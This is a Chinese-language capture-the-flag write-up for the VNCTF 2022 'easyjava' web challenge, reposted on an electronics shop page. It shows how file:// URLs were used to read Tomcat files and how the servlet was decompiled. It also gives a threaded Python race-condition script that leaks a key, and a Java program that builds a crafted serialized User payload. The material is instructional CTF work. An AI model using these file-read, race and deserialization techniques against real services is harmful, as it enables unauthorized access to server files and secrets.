资讯详情

[VNCTF 2022] easyjava

提示传参/file?url随便传输参数后,发现是Tomcat框架的

image-20220608141200881

直接读文件 web.xml没啥信息 后来发现了一个classes目录

/file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml /file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes 

file协议可以读取文件(JDK 也可以在9前使用netdoc协议),阅读后反编译,开始使用jd-gui,结果有一个地方反编译有点一个小错误。最好使用在线工具。JAVA反向工程网 (javare.cn)

先看反编译HelloWorldServlet.java的doGet函数

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
            String reqName = req.getParameter("name");     if (reqName != null) { 
                this.name = reqName;     }      if (Secr3t.check(this.name)) { 
                this.Response(resp, "no vnctf2022!");     } else { 
                if (Secr3t.check(this.name)) { 
                    this.Response(resp, "The Key is "   Secr3t.getKey());         }     } } 

这里的Secr3t#check方法是检测传入的参数值是否vnctf2022

public static boolean check(/span>String checkStr) { 
         if ("vnctf2022".equals(checkStr)) return true; return false; } 

所以这里如果想得到key就需要name传参vnctf2022,但传参后又会执行if中的语句,if和else中的语句相同所以就冲突了,所以就需要进行条件竞争,参考:Servlet的线程安全问题 | Y4tacker’s Blog

EXP

import requests
import threading

host = "http://74e07ae7-39fb-4055-bd42-ec21b675a96a.node4.buuoj.cn:81/"


class myThread(threading.Thread):
    def __init__(self, name):
        threading.Thread.__init__(self)
        self.name = name

    def run(self):
        print("开始线程:" + self.name)
        runing(self.name)
        print("退出线程:" + self.name)


def runing(name):
    while True:
        r = requests.get(host + "/evi1?name=%s" % name)
        r.encoding = "utf-8"
        #print(host + "/evi1?name=%s" % name)
        if r.text.find("The Key is") != -1:
            print(r.text)
            return 0


# 创建新线程
thread1 = myThread("Sentiment")
thread2 = myThread("vnctf2022")

# 开启新线程
thread1.start()
thread2.start()
thread1.join()
thread2.join()

之后就是doPost方法了

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 
       
    String key = req.getParameter("key");
    String text = req.getParameter("base64");
    if (Secr3t.getKey().equals(key) && text != null) { 
       
        Base64.Decoder decoder = Base64.getDecoder();
        byte[] textByte = decoder.decode(text);
        User u = (User)SerAndDe.deserialize(textByte);
        if (this.user.equals(u)) { 
       
            this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
        }
    } else { 
       
        this.Response(resp, "KeyError");
    }

}

接受两个参数,key和base64,key只需要传参刚才线程跑出来的key即可,base64绕过this.user.equals(u)即可

if (this.user.equals(u)) { 
       
    this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}

最后需要注意的是User.java中的height属性是由transient修饰的,是无法序列化的,所以在生成byte的时候需要重写⼀下writeObject,否则会将⾃⼰的User对象的height值为空。

private transient String height;

User.java最后加上

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{ 
       
 s.defaultWriteObject();
 //强制序列化name
 s.writeObject(this.height);
}

Exp

import entity.User;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Exp { 
       
    public static void main(String[] args) throws IOException { 
       
        User user = new User("m4n_q1u_666","666","180");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(user);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);
        
    }
}

传入key和base64即可

标签: 贴片电容cl21b103kacl21b223kb陶瓷电容cl21b331kb陶瓷电容cl21b392kb陶瓷电容

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台